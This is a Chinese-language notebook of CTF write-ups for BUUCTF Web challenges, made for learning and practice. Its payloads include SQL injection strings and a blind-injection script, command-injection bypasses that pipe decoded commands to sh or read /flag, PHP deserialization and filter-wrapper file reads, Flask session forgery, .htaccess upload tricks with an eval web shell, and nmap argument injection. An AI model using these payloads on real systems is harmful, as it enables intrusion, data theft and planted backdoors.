练习平台Buuctf
持续更新直到Web部分结束
笔记作者:outx
Web [HCTF 2018]WarmUp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file(__FILE__ ); class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page ) || !is_string($page )) { echo "you can't see it" ; return false ; } if (in_array($page , $whitelist )) { return true ; } $_page = mb_substr( $page , 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } $_page = urldecode($page ); $_page = mb_substr( $_page , 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST ['file' ]) && is_string($_REQUEST ['file' ]) && emmm::checkFile($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
解题相关知识
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 **mb_strpos()**:返回要查找的字符串在别一个字符串中首次出现的位置 **mb_substr()** 函数返回字符串的一部分。 request() include $_page . '?' public static function checkFile (&$page )&& emmm ::checkFile ($_REQUEST ['file' ] ) 上面这代码表示 将request 的file 值 传入$page ,其实就是将file 参数传入到page 中 &引用传递变量。这是通过在函数内建立一个本地变量并且该变量在呼叫范围内引用了同一个内容来实现的。例如: <?php function foo (&$var ) { $var ++;} $a =5 ;foo ($a ); ?> 将使 $a 变成 6 。这是因为在 foo 函数中变量 $var 指向了和 $a 指向的同一个内容。
[强网杯 2019]随便注 过滤
select|update|delete|drop|insert|where
绕过,考虑报错注入
1' and extractvalue(1,concat('~',database()))%23
但很多关键字被过滤,考虑堆叠注入
1 2 3 -1 ';use supersqli;show tables;# -1' ;use supersqli ;show columns from `1919810931114514 `;-1 ';use supersqli;set @sql=concat(' s',' elect `flag` from `1919810931114514 `');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
[SUCTF 2019]EasySQL 核心思路
set sql_mode=pipes_as_concat;
Payload:
1;set sql_mode=pipes_as_concat;select 1
[极客大挑战 2019]EasySQL 万能密码
check.php?username=admin%27or+1%3D1+%23&password=dawd
[极客大挑战 2019]Secret File 一路点,抓包在302页面找到secr3t.php,源码如下
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__ ); error_reporting(0 ); $file =$_GET ['file' ]; if (strstr($file ,"../" )||stristr($file , "tp" )||stristr($file ,"input" )||stristr($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file ); ?>
用file=php://filter/convert.base64-encode/resource=flag.php来读就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>FLAG</title> </head> <body style="background-color:black;" ><br><br><br><br><br><br> <h1 style="font-family:verdana;color:red;text-align:center;" >啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br> <p style="font-family:arial;color:red;font-size:20px;text-align:center;" > <?php echo "我就在这里" ; $flag = 'flag{56d32da4-1a02-4eb1-a01f-c140abc88a4b}' ; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?> </p> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>FLAG</title> </head> <body style="background-color:black;" ><br><br><br><br><br><br> <h1 style="font-family:verdana;color:red;text-align:center;" >啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br> <p style="font-family:arial;color:red;font-size:20px;text-align:center;" > <?php echo "我就在这里" ; $flag = 'flag{56d32da4-1a02-4eb1-a01f-c140abc88a4b}' ; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?> </p> </body> </html>
[护网杯 2018]easy_tornado tornado的cookie_secret文档
https://www.tornadoweb.org/en/latest/guide/security.html?highlight=cookie_secret
当MainHandler传递值时,会创建一个名叫settings的dict,而cookie_secret就在里面。并且,settings会随着MainHandler传递到前端去。即可以在handler.settings中找到cookie_secret的值,然后跟着它的hint做就可以了
[ACTF2020 新生赛]Include php://filter/convert.base64-encode/resource=flag.php
[极客大挑战 2019]LoveSQL 1 2 3 4 5 6 username=admin&password=1 %27 %20 order%20 by%204 %23 注出只有3 个字段 username=admin&password=1 %27 %20 union%20 select%201 ,2 ,3 %23 找到显位2 和3 username=admin&password=1 %27 %20 union%20 select%201 ,database(),3 %23 数据库名geek username=admin&password=1 %27 union%20 select%201 ,(select%20 group_concat(table_name)%20 from %20 information_schema.tables%20 where%20 table_schema=%27 geek%27 ),3 %23 表名geekuser,l0ve1ysq1 username=admin&password=1 %27 %20 union%20 select%201 ,(select%20 group_concat(column_name)%20 from %20 information_schema.columns%20 where%20 table_schema=%27 geek%27 %20 and %20 table_name=%27 l0ve1ysq1%27 ),3 %23 字段名id,username,password username=admin&password=1 %27 %20 union%20 select%201 ,(select%20 group_concat(username,%200 x5e,%20 password)%20 from %20 geek.l0ve1ysq1),3 %23 获取字段内容,然后找到flag
[RoarCTF 2019]Easy Calc PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST会将某些字符删除或用下划线代替,如%20news[id%00=42会转换为Array([news_id] => 42)
过滤了"',用chr()绕过%20num=var_dump(scandir(chr(47)))得到列表
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))得到flag
[GXYCTF2019]Ping Ping Ping 过滤空格绕过方法
1 2 3 4 cat${IFS}flag.txt cat$IFS$9 flag.txt cat<flag.txt cat<>flag.txt
这题的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (isset ($_GET ['ip' ])){ $ip = $_GET ['ip' ]; if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match )){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match ); die ("fxck your symbol!" ); } else if (preg_match("/ /" , $ip )){ die ("fxck your space!" ); } else if (preg_match("/bash/" , $ip )){ die ("fxck your bash!" ); } else if (preg_match("/.*f.*l.*a.*g.*/" , $ip )){ die ("fxck your flag!" ); } $a = shell_exec("ping -c 4 " .$ip ); echo "<pre>" ; print_r($a ); }
绕过方法
1 2 3 ?ip=22 |echo $IFS$1 Y2F0IGZsYWcucGhw|base64$IFS$1 -d|sh ?ip=22 |ls|xargs$IFS$1 cat ?ip=22 |cat$IFS$1 `ls`
[极客大挑战 2019]Knife POST:Syc=var_dump(file_get_contents('/flag'));
[ACTF2020 新生赛]Exec ss|cat /flag
[极客大挑战 2019]PHP 反序列化务必使用python来看,绕过__wakeup函数只用把表示属性个数的值改大就可以了
1 2 3 4 5 6 7 8 import requests resp = requests.get("http://127.0.0.1/www/111.php" ) print (repr(resp.text))xx = 'O:4:"Name":3:{s:14:"\x00Name\x00username";s:5:"admin";s:14:"\x00Name\x00password";i:100;}' resp = requests.get("http://96d1b3c9-16f6-44e8-a10e-bea5badd78c5.node3.buuoj.cn/?select=" + xx) print (resp.text)
111.php
1 2 3 4 5 6 7 8 9 10 <?php class Name { private $username = 'admin' ; private $password = 100 ; } $aa = new Name("admin" , 100 );print_r(serialize($aa ));
[极客大挑战 2019]Http 1 2 3 4 5 6 7 8 9 10 11 GET /Secret.php HTTP/1.1 Host: node3.buuoj.cn:26611 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover/85.0 .4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
主要三个地方,一个Referer,一个XFF,一个改浏览器标识
[HCTF 2018]admin 做法1:Session伪造
1 SECRET_KEY = os.environ.get('SECRET_KEY' ) or 'ckj123' 拿到secret_key
利用github上一个开源项目伪造session
1 2 3 4 5 6 python3 flask_session_cookie_manager3.py decode -s ckj123 -c ".eJw9kMGKwkAQRH9lmbOHJOpF8KBMHBS6g2GSMH0R10STHtuFqKgR_32zLngu6vGqnmqzb6tzrSaX9loN1KYp1eSpvr7VRJFZNMB-hMVy6DhtsFt54COjJQ8mFzTZg-xhCDq-O4EO7LxBm0WOZxFEKaPEIXbQkeQe7ezmoj_OiqFYh2hLn-jUYwEPlIUQ50yyvqHGGjmvMcrGqLOQjAuIfYCSjVwUP0inApwf-y47W9bQoZC4qXoN1O7c7jeXH1-dPhMSs-yoQAZDNQkE1OslFm6JyY8Q9Wp6ziC5gIY7FfHY9Rqwnr5xjWwP1Ye00xQns__ktJU-UGEYqoG6nqv2_ZoKA_X6BbWIa8E.X4VwIA.Rkin6-MMArxsGd_I2z5Ub0AaWjg" -s跟secret_key -c跟session 解得{'_fresh' : True , '_id' : b'dab2985b7b4b72d29c56d0ef4e2e87011bc310b556b063dc6a5733fed500cb7b2c1d557d84d5c26aff5cfd043a65a7e9455df4f946e8ca2d4f25e84ca7a33fff' , 'csrf_token' : b'8b3ecc0fafc4e569308ee3c3d0c2ef031ea9b5c1' , 'image' : b'p6D8' , 'name' : 'admin' , 'user_id' : '10' } 修改对应值为admin python3 flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'dab2985b7b4b72d29c56d0ef4e2e87011bc310b556b063dc6a5733fed500cb7b2c1d557d84d5c26aff5cfd043a65a7e9455df4f946e8ca2d4f25e84ca7a33fff', 'csrf_token': b'8b3ecc0fafc4e569308ee3c3d0c2ef031ea9b5c1', 'image': b'p6D8', 'name': 'admin', 'user_id': '10'}" 加密得到.eJw9kMGKwkAQRH9lmbOHJOpF8KBMHBS6g2GSMH0R10STHtuFqKgR_32zLngu6vGqnmqzb6tzrSaX9loN1KYp1eSpvr7VRJFZNMB-hMVy6DhtsFt54COjJQ8mFzTZg-xhCDq-O4EO7LxBm0WOZxFEKaPEIXbQkeQe7ezmoj_OiqFYh2hLn-jUYwEPlIUQ50yyvqHGGjmvMcrGqLOQjAuIfYCSjVwUP0inApwf-y47W9bQoZC4qXoN1O7c7jeXH1-dPhMSs-yoQAZDNQkE1OslFm6JyY8Q9Wp6ziC5gIY7FfHY9Rqwnr5xjWwP1Ye00xQns__ktJU-UNtSmpMaqOu5at-_qTBQr1-f7W03.X4VxOQ.KRA69X0skFKOV_aVoNryiWVok1w
[极客大挑战 2019]BabySQL 过滤了union select or from这些,复写绕过就可以了
1 2 3 4 username=admin&password=admin1%27 uniunionon%20 selselectect%201 %2 C2%2 Cgroup_concat(schema_name)%20 frfromom%20 infoorrmation_schema.schemata%20 %23 username=admin&password=admin1%27 uniunionon%20 selselectect%201 %2 C2%2 Cgroup_concat(table_name)%20 frfromom%20 infoorrmation_schema.tables%20 whwhereere%20 table_schema%3 Ddatabase()%23 username=admin&password=admin1%27 uniunionon%20 selselectect%201 %2 C2%2 Cgroup_concat(column_name)%20 frfromom%20 infoorrmation_schema.columns%20 whwhereere%20 table_schema%3 Ddatabase()%20 anandd%20 table_name%3 D%27 b4bsql%27 %23 username=admin&password=admin1%27 uniunionon%20 selselectect%201 %2 C2%2 Cgroup_concat(passwoorrd)%20 frfromom%20 b4bsql%23
[极客大挑战 2019]Upload 后缀名绕过php,php3,php4,php5,phtml,pht
构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /upload_file.php HTTP/1.1 Host: c887928f-75 ce-45 ce-9 fad-32 dd56874aa9.node3.buuoj.cn Content-Length: 342 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUpGgttuPSdHTxZgd User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0 .4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
[ACTF2020 新生赛]BackupFile 源码index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include_once "flag.php" ;if (isset ($_GET ['key' ])) { $key = $_GET ['key' ]; if (!is_numeric($key )) { exit ("Just num!" ); } $key = intval($key ); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ; if ($key == $str ) { echo $flag ; } } else { echo "Try to find out source file!" ; }
直接取key=123
[ACTF2020 新生赛]Upload 上传phtml绕过php后缀检查
[SUCTF 2019]CheckIn 正则r'/ph|htaccess/i',没办法绕过,这里用上传.user.ini来处理,分别上传
.user.ini
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host: e049f518-c43e-4195 -8 a8c-1617 eb34e8c1.node3.buuoj.cn Content-Length: 318 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuxoqRGYxpvd7xV8v User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0 .4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
2.jpg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host: e049f518-c43e-4195 -8 a8c-1617 eb34e8c1.node3.buuoj.cn Content-Length: 340 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuxoqRGYxpvd7xV8v User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0 .4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
[极客大挑战 2019]BuyFlag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /pay.php HTTP/1.1 Host: 63 c15e7b-97 d2-4281 -830e-0 e314c5a4573.node3.buuoj.cn Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0 .4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
[BJDCTF2020]Easy MD5 知识点1
指定true的时候可以用到拼接,ffifdyop的md5($str1, true)后返回形如'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c,拼接后就
select * from 'admin' where password='' or '6xxxxx'
知识点2
php双等号弱类型QNKCDZO,s155964671a,s1091221200a
知识点3
md5函数如果传递给它的是一个数组,会返回FALSE
[ZJCTF 2019]NiZhuanSiWei 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text ,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize($password ); echo $password ; } } else { highlight_file(__FILE__ ); } ?>
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
说的是php://input也可以但是实际上不行 读出来会包含变量名
利用file=php://filter/convert.base64-encode/resource=useless.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
简单的反序列化,给$file赋值就行
[CISCN2019 华北赛区 Day2 Web1]Hack World 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php $dbuser ='root' ;$dbpass ='root' ;function safe ($sql ) { $blackList = array (' ' ,'||' ,'#' ,'-' ,';' ,'&' ,'+' ,'or' ,'and' ,'`' ,'"' ,'insert' ,'group' ,'limit' ,'update' ,'delete' ,'*' ,'into' ,'union' ,'load_file' ,'outfile' ,'./' ); foreach ($blackList as $blackitem ){ if (stripos($sql ,$blackitem )){ return False ; } } return True ; } if (isset ($_POST ['id' ])){ $id = $_POST ['id' ]; }else { die (); } $db = mysql_connect("localhost" ,$dbuser ,$dbpass );if (!$db ){ die (mysql_error()); } mysql_select_db("ctf" ,$db ); if (safe($id )){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1" ); if ($query ){ $result = mysql_fetch_array($query ); if ($result ){ echo $result ['content' ]; }else { echo "Error Occured When Fetch Result." ; } }else { var_dump($query ); } }else { die ("SQL Injection Checked." ); }
也就是一个trick
1^1^1,用它可以起到代替or的作用。
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and
python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests import time url = "http://0f68906e-d306-4cb6-a19b-7055f59cddf5.node3.buuoj.cn/index.php" payload = { "id" : "" } result = "" for i in range(1 , 100 ): low = 33 top = 130 mid = (low + top) >> 1 while low < top: time.sleep(0.5 ) payload["id" ] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})" .format(i, mid) html = requests.post(url, data=payload) print (payload) if "Hello" in html.text: low = mid + 1 else : top = mid mid = (low + top) >> 1 if chr(mid) == " " : break result = result + chr(mid) print (result) print ("flag: " , result)
[网鼎杯 2018]Fakebook 报错注入
1 2 3 4 1 %20 and %20 extractvalue(1 ,concat(%27 ~%27 ,(select(group_concat(database())))))%23 1 %20 and %20 updatexml(1 ,concat(%27 ~%27 ,(select%20 database())),1 )%23 获得库名fakebook1 %20 and %20 extractvalue(1 ,concat(%27 ~%27 ,(select(group_concat(table_name))from (information_schema.tables)where(table_schema)=%27 fakebook%27 )))%23 ,1 )%23 不用空格的版本,获得表名users1 %20 and %20 extractvalue(1 ,concat(%27 ~%27 ,(select(group_concat(column_name))from (information_schema.columns)where(table_name)=%27 users%27 )))%23 获得字段名no,username,passwd,data,USER,CU
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch ); $httpCode = curl_getinfo($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
这里利用ssrf去读我们要的flag文件,同时利用到了上面的no参数的注入
views.php部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $no = $_GET ['no' ];if ($db ->anti_sqli($no )){ die ("no hack ~_~" ); } $res = $db ->getUserByNo($no );$user = unserialize($res ['data' ]); <?php $response = $user ->getBlogContents(); if ($response === 404 ) { echo "404 Not found" ; } else { $base64 = base64_encode($response ); echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64} '>" ; } ?>
[极客大挑战 2019]HardSQL 1 2 3 4 5 6 7 8 ?username=admin%27 or (updatexml(1 ,concat(0x7e ,(select(password)from (H4rDsq1)),0x7e ),1 ))%23 &password=123 updatexml(1 ,concat(0x7e ,(SELECT(database())),0x7e ),1 ) updatexml(1 ,concat(0x7e ,(select(group_concat(table_name))from (information_schema.tables)where(table_schema)like(database())),0x7e ),1 ) updatexml(1 ,concat(0x7e ,(select(group_concat(column_name))from (information_schema.columns)where(table_name)like('H4rDsq1' )),0x7e ),1 ) updatexml(1 ,concat(0x7e ,(select(password)from (H4rDsq1)),0x7e ),1 ) username=44 &password=1 %27 ^extractvalue(1 ,concat(0x7e ,(select(left(password,30 ))from (geek.H4rDsq1))))%23 username=44 &password=1 %27 ^extractvalue(1 ,concat(0x7e ,(select(right(password,30 ))from (geek.H4rDsq1))))%23
[GXYCTF2019]BabySQli 如果查询的数据不存在的时候,union查询就会构造一个虚拟的数据。sql的password会md5加密,然后我们将我们自己输的密码编码成md5然后放入第三列当中。列是什么可以用union来测试
1 name=1 ' union select 1,' admin',' 202 cb962ac59075b964b07152d234b70' %23 &pw=123
[强网杯 2019]高明的黑客 很多冒充的webshell的时候如何找到可以使用的,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import os import requests import re import threading import time print ('开始时间: ' + time.asctime( time.localtime(time.time()) ))s1=threading.Semaphore(100 ) filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content(file): s1.acquire() print ('trying ' +file+ ' ' + time.asctime( time.localtime(time.time()) )) with open(file,encoding='utf-8' ) as f: gets = list (re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list (re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/' +file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print ('找到了利用文件: ' +file+" and 找到了利用的参数:%s" %param) print ('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
[网鼎杯 2020 青龙组]AreUSerialz
正常构造payload的话因为$op、$fliename、$content都是protected属性,序列化的的结果的属性名前面会有/002.php>7.1版本对类属性的检测不严格来绕过,将序列化里的portected属性换成public属性,就不会有/00,另一种方式在php打序列化字符串中只要把其中的s改成大写打S,后面打字符串就可以用十六进制表示,用php脚本来完成替换,参考下面payload
读取/proc/self/cmdline,得到取配置文件路径/web/config/httpd.conf,再得到绝对路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class FileHandler { protected $op =2 ; protected $filename ="/etc/passwd" ; } $a = serialize(new FileHandler);$a = str_replace(chr(0 ),'\00' ,$a );$a = str_replace('s:' ,'S:' ,$a );echo urlencode($a );?>
[BJDCTF 2nd]fake google
tplmap可以一梭子,但需要py2环境,也可以一步一步手注走
[RoarCTF 2019]Easy Java 1 2 3 4 5 6 7 WEB-INF主要包含一下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class ,他们不能包含在 .jar 文件中 /WEB -INF /lib /:存放web 应用需要的各种JAR 文件,放置仅在这个应用中要求使用的jar 文件,如数据库驱动jar 文件 /WEB -INF /src /:源码目录,按照包名结构放置各个java 文件。 /WEB -INF /database .properties :数据库配置文件 漏洞检测以及利用方法:通过找到web .xml 文件,推断class 文件的路径,最后直接class 文件,在通过反编译class 文件,得到网站源码
主要是要知道去读WEB-INF/web.xml,然后把那些class下载下来
[GYCTF2020]Blacklist 三种办法
1 2 3 4 5 6 7 8 9 10 handler 1 ';handler `1919810931114514` open as `yunenctf`;handler `yunenctf` read first;# # handler `1919810931114514` open as `yunenctf`; 将数据表载入并将返回句柄重命名 # handler `yunenctf` read first; 读取指定句柄的首行数据 重命名 1' ; rename table words to word1; rename table `1919810931114514 ` to words; alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100 );预编译prepare 1 ';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF 。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
主要用到nmap的两个参数-iL 和-oN 以任意格式输出,-oX不行,这样不会把/flag的内容输出,必须要用-N才能解析/flag中的内容,从而输出到指定的路径,像这种短的代码都可以拿到本地来测试,也很方便调试。
payload:' + -iL /flag + -oN 输出路径
将payload构造成 ?host=' -oG outx.php ' 前面的127.0.0.1我们可以不写,然后在payload的最后面加上一个空格和单引号,单引号的目的是闭合处理后得到的最后那个单引号,如果不加空格的话文件最后面会变成'\'''即文件最后面会多出来\,加了空格之后会变成 hack.php \ ,不影响命令的执行。
[MRCTF2020]你传你🐎呢 先上传一个.htaccess
1 2 3 <FilesMatch "x.php.jpg" > SetHandler application/x-httpd-php </FilesMatch>
意思是把jpg按php进行解析,然后上传一个shell就可以了,不知道为啥file_get_contents不行,于是直接include了一下,或者用readfile('/flag');和highlight_file('/flag');
[MRCTF2020]Ez_bypass 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 I put something in F12 for you include 'flag.php' ; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ; if (isset($_GET['gg' ])&&isset($_GET['id' ])) { $id=$_GET['id' ]; $gg=$_GET['gg' ]; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step' ; if (isset($_POST['passwd' ])) { $passwd=$_POST['passwd' ]; if (!is_numeric($passwd)) { if ($passwd==1234567 ) { echo 'Good Job!' ; highlight_file('flag.php' ); die('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die('Please input first' ); } }Please input first
1 2 3 http: POST: passwd=1234567a
[GXYCTF2019]BabyUpload 根据各种提示,上传不了ph*的文件,考虑先上传一个.htaccess
1 2 3 <FilesMatch "x.php.jpg" > SetHandler application/x-httpd-php </FilesMatch>
在上传一个php的马,注意他会检测<?php,用下面的马绕过即可,flag在根目录下
1 2 3 GIF89a<script language="php" >eval ($_GET[x]);</script> GET /upload/05a4cc97edcd0f5544958e086a68db2c/x.php.jpg?x=var_dump(file_get_contents(%27 /flag%27 ));
[GXYCTF2019]禁止套娃 目录扫.git,用githack还原后源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php" ; echo "flag在哪里呢?<br>" ; if (isset($_GET['exp' ])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET['exp' ])) { if (';' === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL, $_GET['exp' ])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET['exp' ])) { @eval ($_GET['exp' ]); } else { die("还差一点哦!" ); } } else { die("再好好想想!" ); } } else { die("还想读flag,臭弟弟!" ); } } ?>
分析后主要有几点
1 2 3 4 1. 过滤了常用的几个伪协议,不能以伪协议读取文件。2. (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。3. 正则匹配掉了et/na/info等关键字,很多函数都用不了。4. eval ($_GET['exp' ]); 典型的无参数RCE
构造payload
考虑scandir('.')的形式来获取当前目录下的文件信息。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值
于是scandir('.')就转化为
1 2 print_r(scandir(current(localeconv()))); print_r(scandir(pos(localeconv())));
但还需要取到我们想要的文件及其内容,就需要以下操作
array_reverse() 以相反的元素顺序返回数组,再搭配next()处理
array_flip()交换数组的键和值
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
1 ?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
以上就可以获取到想要的文件名最后调用highlight_file()、readfile()、show_source()、file_get_contents()(被ban)
另一种方式可以通过session来处理:
